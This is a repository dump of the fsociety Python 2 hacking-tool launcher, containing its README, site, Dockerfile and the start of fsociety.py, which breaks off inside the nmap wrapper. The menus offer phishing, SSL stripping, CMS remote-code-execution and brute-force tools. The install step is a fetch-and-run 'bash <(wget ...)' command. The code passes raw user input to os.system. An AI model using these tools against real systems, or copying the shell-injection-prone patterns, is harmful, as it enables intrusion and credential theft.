Repository: Manisso/fsociety
Branch: master
Commit: b76ac01449c0
Files: 18
Total size: 90.2 KB
Directory structure:
gitextract_lupzxt8z/
├── .gitignore
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── Dockerfile
├── ISSUE_TEMPLATE.md
├── LICENSE
├── README.md
├── docker-compose.yml
├── docs/
│ ├── css/
│ │ └── style.css
│ ├── favicon/
│ │ ├── browserconfig.xml
│ │ └── manifest.json
│ └── index.html
├── fsociety.cfg
├── fsociety.py
├── install.sh
├── snap/
│ └── snapcraft.yaml
├── uninstall
└── update.sh
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
install
logs/
tools/
.DS_Store
================================================
FILE: CODE_OF_CONDUCT.md
================================================
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at manis98@live.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
================================================
FILE: CONTRIBUTING.md
================================================
================================================
FILE: Dockerfile
================================================
# Use Python 2.7 Slim
FROM python:2.7-slim
# Update Repos
RUN apt-get update \
&& apt-get install -qq -y --no-install-recommends build-essential sudo git wget curl nmap ruby \
&& apt-get clean
# Install Python dependecies
RUN pip install requests
# Install fsociety
RUN git clone https://github.com/Manisso/fsociety.git \
&& cd fsociety \
&& chmod +x install.sh \
&& ./install.sh
# Change workdir
WORKDIR /root/.fsociety/
# Hack to keep the container running
CMD python -c "import signal; signal.pause()"
================================================
FILE: ISSUE_TEMPLATE.md
================================================
## Checkboxes
- [ ] Updated fsociety
- [ ] Issue does not already exist
- [ ] fsociety issue, not a tool issue
## Expected Result
```bash
```
## Actual Result
```bash
```
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2016-2020 Manisso
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# Fsociety Hacking Tools Pack
[](https://www.python.org/downloads/release/python-2714/)


[](https://github.com/Manisso/fsociety/blob/master/LICENSE)
A Penetration Testing Framework, you will have every script that a hacker needs. Works with Python 2. For a Python 3 version see our updated version at [`fsociety-team/fsociety`](https://github.com/fsociety-team/fsociety).
## Fsociety Contains All Tools Used in Mr. Robot Series
[](https://wikipedia.org/wiki/Mr._Robot)
## Menu
- Information Gathering
- Password Attacks
- Wireless Testing
- Exploitation Tools
- Sniffing & Spoofing
- Web Hacking
- Private Web Hacking
- Post Exploitation
- Contributors
- Install & Update
### Information Gathering:
- Nmap
- Setoolkit
- Host To IP
- WPScan
- CMS Scanner
- XSStrike
- Dork - Google Dorks Passive Vulnerability Auditor
- Scan A server's Users
- Crips
### Password Attacks:
- Cupp
- Ncrack
### Wireless Testing:
- Reaver
- Pixiewps
- Bluetooth Honeypot
### Exploitation Tools:
- ATSCAN
- sqlmap
- Shellnoob
- Commix
- FTP Auto Bypass
- JBoss Autopwn
### Sniffing & Spoofing:
- Setoolkit
- SSLtrip
- pyPISHER
- SMTP Mailer
### Web Hacking:
- Drupal Hacking
- Inurlbr
- Wordpress & Joomla Scanner
- Gravity Form Scanner
- File Upload Checker
- Wordpress Exploit Scanner
- Wordpress Plugins Scanner
- Shell and Directory Finder
- Joomla! 1.5 - 3.4.5 remote code execution
- Vbulletin 5.X remote code execution
- BruteX - Automatically brute force all services running on a target
- Arachni - Web Application Security Scanner Framework
### Private Web Hacking:
- Get all websites
- Get joomla websites
- Get wordpress websites
- Control Panel Finder
- Zip Files Finder
- Upload File Finder
- Get server users
- SQli Scanner
- Ports Scan (range of ports)
- Ports Scan (common ports)
- Get server Info
- Bypass Cloudflare
### Post Exploitation:
- Shell Checker
- POET
- Weeman
# Installation
## Installation [Linux](https://wikipedia.org/wiki/Linux) [](https://fr.wikipedia.org/wiki/Linux)
```bash
bash <(wget -qO- https://git.io/vAtmB)
```
## Installation
Download [Termux](https://play.google.com/store/apps/details?id=com.termux)
```bash
bash <(wget -qO- https://git.io/vAtmB)
```
Follow this video [Arif - Tech](https://www.youtube.com/watch?v=JwK5oOBjpgQ)
## Installation [Windows](https://wikipedia.org/wiki/Microsoft_Windows)[](https://fr.wikipedia.org/wiki/Microsoft_Windows)
Download Linux Bash Like [Cygwin](https://www.cygwin.com/)
Download [Python](https://www.python.org/downloads/release/python-2714/)
Use Google Cloud Console [Cloud Shell](https://console.cloud.google.com/cloudshell/editor?project=&pli=1&shellonly=true)
Or use free Ubuntu VPS [c9.io](https://c9.io/)
## [Docker](https://en.wikipedia.org/wiki/Docker_(software)) Usage 
### Dependecies
[Docker](https://www.docker.com/)
[Docker-compose](https://docs.docker.com/compose/install/)
```bash
docker-compose build
docker-compose up -d
docker-compose exec fsociety fsociety
docker-compose down # destroys instance
```
# Screenshots
[](https://asciinema.org/a/URj2nvpbYpeJyJe43KlASZ7fz)

# Contributors
[alexcreek](https://github.com/alexcreek)
[mswell](https://github.com/mswell)
[Ev3](https://github.com/Ev3)
[huangsam](https://github.com/huangsam)
[RyanFilho](https://github.com/RyanFilho)
[gabru-md](https://github.com/gabru-md)
[jdrago999](https://github.com/jdrago999)
[CRO-TheHacker](https://github.com/CRO-THEHACKER)
# License
[MIT Licence](https://github.com/Manisso/fsociety/blob/master/LICENSE)
================================================
FILE: docker-compose.yml
================================================
version: '2'
services:
fsociety:
build: .
================================================
FILE: docs/css/style.css
================================================
@font-face {
font-family: "MR ROBOT";
src: url("../fonts/MR ROBOT.ttf");
}
.robot-text {
font-family: 'MR ROBOT', 'Lucida Console';
color: red;
}
a:hover {
color: OrangeRed;
}
.robot-logo {
font-family: 'MR ROBOT', 'Lucida Console';
color: red;
font-size: 25px;
}
.robot-excerpt {
font-size: 12px;
}
.robot-card {
height: 125px;
}
.robot-hr {
width: 25%;
border-top: 3px solid red;
}
.robot-btn {
color: white;
background-color: red;
}
================================================
FILE: docs/favicon/browserconfig.xml
================================================
<?xml version="1.0" encoding="utf-8"?>
<browserconfig><msapplication><tile><square70x70logo src="/ms-icon-70x70.png"/><square150x150logo src="/ms-icon-150x150.png"/><square310x310logo src="/ms-icon-310x310.png"/><TileColor>#ffffff</TileColor></tile></msapplication></browserconfig>
================================================
FILE: docs/favicon/manifest.json
================================================
{
"name": "App",
"icons": [
{
"src": "\/android-icon-36x36.png",
"sizes": "36x36",
"type": "image\/png",
"density": "0.75"
},
{
"src": "\/android-icon-48x48.png",
"sizes": "48x48",
"type": "image\/png",
"density": "1.0"
},
{
"src": "\/android-icon-72x72.png",
"sizes": "72x72",
"type": "image\/png",
"density": "1.5"
},
{
"src": "\/android-icon-96x96.png",
"sizes": "96x96",
"type": "image\/png",
"density": "2.0"
},
{
"src": "\/android-icon-144x144.png",
"sizes": "144x144",
"type": "image\/png",
"density": "3.0"
},
{
"src": "\/android-icon-192x192.png",
"sizes": "192x192",
"type": "image\/png",
"density": "4.0"
}
]
}
================================================
FILE: docs/index.html
================================================
<!DOCTYPE html>
<!-- HTML5 -->
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>fsociety - Penetration Testing Framework</title>
<meta name="description" content="A Penetration Testing Framework with every script that a hacker needs">
<link rel="apple-touch-icon" sizes="57x57" href="./favicon/apple-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60" href="./favicon/apple-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72" href="./favicon/apple-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76" href="./favicon/apple-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114" href="./favicon/apple-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120" href="./favicon/apple-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144" href="./favicon/apple-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152" href="./favicon/apple-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="./favicon/apple-icon-180x180.png">
<link rel="icon" type="image/png" sizes="192x192" href="./favicon/android-icon-192x192.png">
<link rel="icon" type="image/png" sizes="32x32" href="./favicon/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="96x96" href="./favicon/favicon-96x96.png">
<link rel="icon" type="image/png" sizes="16x16" href="./favicon/favicon-16x16.png">
<link rel="manifest" href="/manifest.json">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-TileImage" content="./favicon/ms-icon-144x144.png">
<meta name="theme-color" content="#ffffff">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link rel="stylesheet" href="./css/style.css">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<a class="navbar-brand robot-text" href="#">
<img src="./favicon/favicon-96x96.png" width="30" height="30" class="d-inline-block align-top" alt="fsociety">
<span>fsociety</span>
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="#features">Features</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#install">Install</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#contributors">Contributors</a>
</li>
</ul>
</div>
</nav>
<main class="container">
<div class="px-3 pt-3 pb-2 pt-md-5 mx-auto text-center">
<h1 class="display-4 robot-text">fsociety</h1>
<p class="py-2">
<button onclick="watch()" type="button" class="btn btn-sm robot-btn">Watch</button>
<button onclick="star()" type="button" class="btn btn-sm robot-btn">Star</button>
<button onclick="fork()" type="button" class="btn btn-sm robot-btn">Fork</button>
</p>
<p class="lead">A Penetration Testing Framework with every script that a hacker needs.</p>
<p class="lead">Contains all tools used in the Mr. Robot TV series</p>
</div>
<hr class="robot-hr pb-md-4">
<div class="row" id="features">
<div class="col-md-12">
<p class="robot-text robot-logo text-center">Features</p>
</div>
<div class="col-md-6 col-lg-4 mb-3">
<div class="robot-card card">
<div class="card-body">
<h5 class="card-title">Information Gathering</h5>
<p class="card-text">Collect host metadata about services and users.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-4 mb-3">
<div class="robot-card card">
<div class="card-body">
<h5 class="card-title">Password Attacks</h5>
<p class="card-text">Crack passwords and create wordlists.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-4 mb-3">
<div class="robot-card card">
<div class="card-body">
<h5 class="card-title">Wireless Testing</h5>
<p class="card-text">Used for intrusion detection and wifi attacks.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-4 mb-3">
<div class="robot-card card">
<div class="card-body">
<h5 class="card-title">Exploitation Tools</h5>
<p class="card-text">Acesss systems and data with service-oriented exploits.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-4 mb-3">
<div class="robot-card card">
<div class="card-body">
<h5 class="card-title">Sniffing & Spoofing</h5>
<p class="card-text">Listen to network traffic or fake a network entity.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-4 mb-3">
<div class="robot-card card">
<div class="card-body">
<h5 class="card-title">Web Hacking</h5>
<p class="card-text">Exploit popular CMSs that are hosted online.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-4 mb-3">
<div class="robot-card card">
<div class="card-body">
<h5 class="card-title">Private Web Hacking</h5>
<p class="card-text">Access files and databases.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-4 mb-3">
<div class="robot-card card">
<div class="card-body">
<h5 class="card-title">Post Exploitation</h5>
<p class="card-text">Exploits for after you have already gained access.</p>
</div>
</div>
</div>
</div>
<hr class="robot-hr mt-md-5">
<div class="px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center" id="install">
<p class="robot-text robot-logo">Install</p>
<kbd>bash <(wget -qO- https://git.io/vAtmB)</kbd>
</div>
<hr class="robot-hr mt-md-5">
<div class="px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center" id="contributors">
<p class="robot-text robot-logo">Contributors</p>
<a href="https://github.com/Manisso"><img src="https://avatars0.githubusercontent.com/u/16539311?s=200" class="rounded" alt="Manisso" style="padding: 1rem;"></a>
<a href="https://github.com/CRO-THEHACKER"><img src="https://avatars3.githubusercontent.com/u/36890141?s=200" class="rounded" alt="CRO-THEHACKER" style="padding: 1rem;"></a>
<a href="https://github.com/huangsam"><img src="https://avatars1.githubusercontent.com/u/515617?s=200" class="rounded" alt="huangsam" style="padding: 1rem;"></a>
<a href="https://github.com/alexcreek"><img src="https://avatars1.githubusercontent.com/u/3383123?s=200" class="rounded" alt="alexcreek" style="padding: 1rem;"></a>
<a href="https://github.com/mswell"><img src="https://avatars1.githubusercontent.com/u/2567185?s=200" class="rounded" alt="mswell" style="padding: 1rem;"></a>
<a href="https://github.com/jackric"><img src="https://avatars1.githubusercontent.com/u/259713?s=200" class="rounded" alt="jackric" height="232" width="232" style="padding: 1rem;"></a>
<a href="https://github.com/Ev3"><img src="https://avatars1.githubusercontent.com/u/2741688?s=200" class="rounded" alt="Ev3" style="padding: 1rem;"></a>
<a href="https://github.com/RyanFilho"><img src="https://avatars1.githubusercontent.com/u/11152542?s=200" class="rounded" alt="RyanFilho" style="padding: 1rem;"></a>
<a href="https://github.com/gabru-md"><img src="https://avatars1.githubusercontent.com/u/25414121?s=200" class="rounded" alt="gabru-md" style="padding: 1rem;"></a>
<a href="https://github.com/jdrago999"><img src="https://avatars1.githubusercontent.com/u/37591?s=200" class="rounded" alt="jdrago999" style="padding: 1rem;"></a>
</div>
</main>
<footer class="container pt-4 my-md-5 pt-md-5 border-top">
<div class="row">
<div class="col-12 col-md">
<small class="d-block mb-3 text-muted">© 2017-2018 Manisso</small>
</div>
<div class="col-6 col-md">
<h5>Top repositories</h5>
<ul class="list-unstyled text-small">
<li><a class="text-muted" href="https://github.com/Manisso/fsociety">Manisso/fsociety</a></li>
<li><a class="text-muted" href="https://github.com/Manisso/Crips">Manisso/Crips</a></li>
<li><a class="text-muted" href="https://github.com/Manisso/PyTube">Manisso/PyTube</a></li>
</ul>
</div>
<div class="col-6 col-md">
<h5>About</h5>
<ul class="list-unstyled text-small">
<li><a class="text-muted" href="https://github.com/Manisso/fsociety/projects">Projects</a></li>
<li><a class="text-muted" href="https://github.com/Manisso/fsociety/issues">Issues</a></li>
<li><a class="text-muted" href="https://github.com/Manisso/fsociety/blob/master/LICENSE">License</a></li>
</ul>
</div>
</div>
</footer>
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
<script type="text/javascript">
function watch() {
document.location.href = 'https://github.com/Manisso/fsociety/subscription'
}
function star() {
document.location.href = 'https://github.com/Manisso/fsociety'
}
function fork() {
document.location.href = 'https://github.com/Manisso/fsociety/fork'
}
</script>
</body>
</html>
================================================
FILE: fsociety.cfg
================================================
[fsociety]
agreement = false
toolDir = tools/
logDir = logs/
yes = yes y ye ya yep yeah yee yeperoo not-no
================================================
FILE: fsociety.py
================================================
#!/usr/bin/env python2
# ______ _ _ _______
# | ____| (_) | | |__ __|
# | |__ ___ ___ ___ _ ___| |_ _ _ | | ___ __ _ _ __ ___
# | __/ __|/ _ \ / __| |/ _ \ __| | | | | |/ _ \/ _` | '_ ` _ \
# | | \__ \ (_) | (__| | __/ |_| |_| | | | __/ (_| | | | | | |
# |_| |___/\___/ \___|_|\___|\__|\__, | |_|\___|\__,_|_| |_| |_|
# __/ |
# |___/
#
#
# Greet's To
# IcoDz - Canejo
# Tool For Hacking
# Author : Manisso
'''
Imports
'''
import sys
import argparse
import os
import httplib
import subprocess
import re
import urllib2
import socket
import urllib
import sys
import json
import telnetlib
import glob
import random
import Queue
import threading
import base64
import time
import ConfigParser
from sys import argv
from commands import *
from getpass import getpass
from xml.dom import minidom
from urlparse import urlparse
from optparse import OptionParser
from time import gmtime, strftime, sleep
'''
Common Functions
'''
class color:
HEADER = '\033[95m'
IMPORTANT = '\33[35m'
NOTICE = '\033[33m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
UNDERLINE = '\033[4m'
LOGGING = '\33[34m'
def clearScr():
os.system('clear')
def yesOrNo():
return (raw_input("Continue Y / N: ") in yes)
'''
Config
'''
installDir = os.path.dirname(os.path.abspath(__file__)) + '/'
configFile = installDir + "/fsociety.cfg"
print(installDir)
config = ConfigParser.RawConfigParser()
config.read(configFile)
toolDir = installDir + config.get('fsociety', 'toolDir')
logDir = installDir + config.get('fsociety', 'logDir')
yes = config.get('fsociety', 'yes').split()
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]
random.shuffle(color_random)
fsocietylogo = color_random[0] + '''
d88888b .d8888. .d88b. .o88b. d888888b d88888b d888888b db db
88' 88' YP .8P Y8. d8P Y8 `88' 88 88 `8b d8'
88ooo `8bo. 88 88 8P 88 88ooooo 88 `8bd8'
88 `Y8b. 88 88 8b 88 88 88 88
88 db 8D `8b d8' Y8b d8 .88. 88. 88 88
YP `8888Y' `Y88P' `Y88P' Y888888P Y88888P YP YP
'''
fsocietyPrompt = "fsociety ~# "
alreadyInstalled = "Already Installed"
continuePrompt = "\nClick [Return] to continue"
termsAndConditions = color.NOTICE + '''
I shall not use fsociety to:
(i) upload or otherwise transmit, display or distribute any
content that infringes any trademark, trade secret, copyright
or other proprietary or intellectual property rights of any
person; (ii) upload or otherwise transmit any material that contains
software viruses or any other computer code, files or programs
designed to interrupt, destroy or limit the functionality of any
computer software or hardware or telecommunications equipment;
''' + color.END
mrrobot4 = color.NOTICE + '''
Hello,
As we all know, Mr. Robot 4.0 is comming out - the end of Mr. Robot.
We will update to python3.7 & add all of the new hacking tool of 4.0 later this year
There will be no more updates after the show is done.
This is to keep cannon to the show.))
Thank you for all the sourport over the years, the fsociety team thanks you!
Feel free to join the NEW DISCORD!!!
Anything Mr. Robot will be on the server!
[ https://discord.gg/xB87X9z ]
Thanks for reading,
Zachary, CRO-THEHACKER - Dev'''
'''
Starts Menu Classes
'''
def agreement():
while not config.getboolean("fsociety", "agreement"):
clearScr()
print(termsAndConditions)
print(mrrobot4)
agree = raw_input("You must agree to our terms and conditions first (Y/n) ").lower()
if agree in yes:
config.set('fsociety', 'agreement', 'true')
class fsociety:
def __init__(self):
clearScr()
self.createFolders()
print (fsocietylogo + color.RED + '''
}--------------{+} Coded By Manisso {+}--------------{
}--------{+} GitHub.com/Manisso/fsociety {+}--------{
''' + color.END + '''
{1}--Information Gathering
{2}--Password Attacks
{3}--Wireless Testing
{4}--Exploitation Tools
{5}--Sniffing & Spoofing
{6}--Web Hacking
{7}--Private Web Hacking
{8}--Post Exploitation
{0}--INSTALL & UPDATE
{11}-CONTRIBUTORS
{99}-EXIT\n
''')
choice = raw_input(fsocietyPrompt)
clearScr()
if choice == "1":
informationGatheringMenu()
elif choice == "2":
passwordAttacksMenu()
elif choice == "3":
wirelessTestingMenu()
elif choice == "4":
exploitationToolsMenu()
elif choice == "5":
sniffingSpoofingMenu()
elif choice == "6":
webHackingMenu()
elif choice == "7":
privateWebHacking()
elif choice == "8":
postExploitationMenu()
elif choice == "0":
self.update()
elif choice == "11":
self.githubContributors()
elif choice == "99":
with open(configFile, 'wb') as configfile:
config.write(configfile)
sys.exit()
elif choice == "\r" or choice == "\n" or choice == "" or choice == " ":
self.__init__()
else:
try:
print(os.system(choice))
except:
pass
self.completed()
def githubContributors(self):
clearScr()
print('''
dP""b8 dP"Yb 88b 88 888888 88""Yb 88 88""Yb .dP"Y8
dP `" dP Yb 88Yb88 88 88__dP 88 88__dP `Ybo."
Yb Yb dP 88 Y88 88 88"Yb 88 88""Yb o.`Y8b
YboodP YbodP 88 Y8 88 88 Yb 88 88oodP 8bodP'
''')
contributorsURL = 'https://api.github.com/repos/manisso/fsociety/contributors'
jsonResponseList = json.loads(urllib2.urlopen(contributorsURL).read())
for dictionary in jsonResponseList:
print(" * %s" % dictionary['login'])
print('\n')
def createFolders(self):
if not os.path.isdir(toolDir):
os.makedirs(toolDir)
if not os.path.isdir(logDir):
os.makedirs(logDir)
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
def update(self):
os.system("git clone --depth=1 https://github.com/Manisso/fsociety.git")
os.system("cd fsociety && bash ./update.sh")
os.system("fsociety")
class sniffingSpoofingMenu:
menuLogo = '''
.dP"Y8 88b 88 88 888888 888888 88 88b 88 dP""b8
`Ybo." 88Yb88 88 88__ 88__ 88 88Yb88 dP `"
o.`Y8b 88 Y88 88 88"" 88"" 88 88 Y88 Yb "88
8bodP' 88 Y8 88 88 88 88 88 Y8 YboodP
'''
def __init__(self):
clearScr()
print(self.menuLogo)
print(
" {1}--SEToolkit - Tool aimed at penetration testing around Social-Engineering")
print(" {2}--SSLtrip - MITM tool that implements SSL stripping attacks")
print(
" {3}--pyPISHER - Tool to create a mallicious website for password pishing")
print(" {4}--SMTP Mailer - Tool to send SMTP mail\n ")
print(" {99}-Back To Main Menu \n")
choice6 = raw_input(fsocietyPrompt)
clearScr()
if choice6 == "1":
setoolkit()
elif choice6 == "2":
ssls()
elif choice6 == "3":
pisher()
elif choice6 == "4":
smtpsend()
elif choice6 == "99":
fsociety()
else:
self.__init__()
self.completed()
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
class webHackingMenu:
menuLogo = '''
Yb dP 888888 88""Yb
Yb db dP 88__ 88__dP
YbdPYbdP 88"" 88""Yb
YP YP 888888 88oodP
'''
def __init__(self):
clearScr()
print(self.menuLogo)
print(" {1}--Drupal Hacking ")
print(" {2}--Inurlbr")
print(" {3}--Wordpress & Joomla Scanner")
print(" {4}--Gravity Form Scanner")
print(" {5}--File Upload Checker")
print(" {6}--Wordpress Exploit Scanner")
print(" {7}--Wordpress Plugins Scanner")
print(" {8}--Shell and Directory Finder")
print(" {9}--Joomla! 1.5 - 3.4.5 remote code execution")
print(" {10}-Vbulletin 5.X remote code execution")
print(
" {11}-BruteX - Automatically brute force all services running on a target")
print(" {12}-Arachni - Web Application Security Scanner Framework \n ")
print(" {99}-Back To Main Menu \n")
choiceweb = raw_input(fsocietyPrompt)
clearScr()
if choiceweb == "1":
maine()
elif choiceweb == "2":
ifinurl()
elif choiceweb == '3':
wppjmla()
elif choiceweb == "4":
gravity()
elif choiceweb == "5":
sqlscan()
elif choiceweb == "6":
wpminiscanner()
elif choiceweb == "7":
wppluginscan()
elif choiceweb == "8":
shelltarget()
elif choiceweb == "9":
joomlarce()
elif choiceweb == "10":
vbulletinrce()
elif choiceweb == "11":
brutex()
elif choiceweb == "12":
arachni()
elif choiceweb == "99":
fsociety()
else:
self.__init__()
self.completed()
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
class privateWebHacking:
menuLogo = '''
88""Yb 88""Yb 88 Yb dP db 888888 888888
88__dP 88__dP 88 Yb dP dPYb 88 88__
88""" 88"Yb 88 YbdP dP__Yb 88 88""
88 88 Yb 88 YP dP""""Yb 88 888888
'''
def __init__(self):
clearScr()
print(self.menuLogo)
target = raw_input("Enter Target IP: ")
Fscan(target)
self.completed()
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
class postExploitationMenu:
menuLogo = '''
88""Yb dP"Yb .dP"Y8 888888
88__dP dP Yb `Ybo." 88
88""" Yb dP o.`Y8b 88
88 YbodP 8bodP' 88
'''
def __init__(self):
clearScr()
print(self.menuLogo)
print(" {1}--Shell Checker")
print(" {2}--POET")
print(" {3}--Phishing Framework \n")
print(" {99}-Return to main menu \n ")
choice11 = raw_input(fsocietyPrompt)
clearScr()
if choice11 == "1":
sitechecker()
elif choice11 == "2":
poet()
elif choice11 == "3":
weeman()
elif choice11 == "99":
fsociety()
else:
self.__init__()
self.completed()
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
'''
Information Gathering Tools Classes
'''
class informationGatheringMenu:
menuLogo = '''
88 88b 88 888888 dP"Yb
88 88Yb88 88__ dP Yb
88 88 Y88 88"" Yb dP
88 88 Y8 88 YbodP
'''
def __init__(self):
clearScr()
print(self.menuLogo)
print(" {1}--Nmap - Network Mapper")
print(" {2}--Setoolkit")
print(" {3}--Host To IP")
print(" {4}--WPScan")
print(" {5}--CMSmap")
print(" {6}--XSStrike")
print(" {7}--Doork")
print(" {8}--Crips\n ")
print(" {99}-Back To Main Menu \n")
choice2 = raw_input(fsocietyPrompt)
clearScr()
if choice2 == "1":
nmap()
elif choice2 == "2":
setoolkit()
elif choice2 == "3":
host2ip()
elif choice2 == "4":
wpscan()
elif choice2 == "5":
CMSmap()
elif choice2 == "6":
XSStrike()
elif choice2 == "7":
doork()
elif choice2 == "8":
crips()
elif choice2 == "99":
fsociety()
else:
self.__init__()
self.completed()
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
class nmap:
nmapLogo = '''
88b 88 8b d8 db 88""Yb
88Yb88 88b d88 dPYb 88__dP
88 Y88 88YbdP88 dP__Yb 88"""
88 Y8 88 YY 88 dP""""Yb 88
'''
def __init__(self):
self.installDir = toolDir + "nmap"
self.gitRepo = "https://github.com/nmap/nmap.git"
self.targetPrompt = " Enter Target IP/Subnet/Range/Host: "
if not self.installed():
self.install()
self.run()
else:
self.run()
def installed(self):
return (os.path.isfile("/usr/bin/nmap") or os.path.isfile("/usr/local/bin/nmap"))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
os.system("cd %s && ./configure && make && make install" %
self.installDir)
def run(self):
clearScr()
print(self.nmapLogo)
target = raw_input(self.targetPrompt)
self.menu(target)
def menu(self, target):
clearScr()
print(self.nmapLogo)
print(" Nmap scan for: %s\n" % target)
print(" {1}--Simple Scan [-sV]")
print(" {2}--Port Scan [-Pn]")
print(" {3}--Operating System Detection [-A]\n")
print(" {99}-Return to information gathering menu \n")
response = raw_input("nmap ~# ")
clearScr()
logPath = "logs/nmap-" + strftime("%Y-%m-%d_%H:%M:%S", gmtime())
try:
if response == "1":
os.system("nmap -sV -oN %s %s" % (logPath, target))
response = raw_input(continuePrompt)
elif response == "2":
os.system("nmap -Pn -oN %s %s" % (logPath, target))
response = raw_input(continuePrompt)
elif response == "3":
os.system("nmap -A -oN %s %s" % (logPath, target))
response = raw_input(continuePrompt)
elif response == "99":
pass
else:
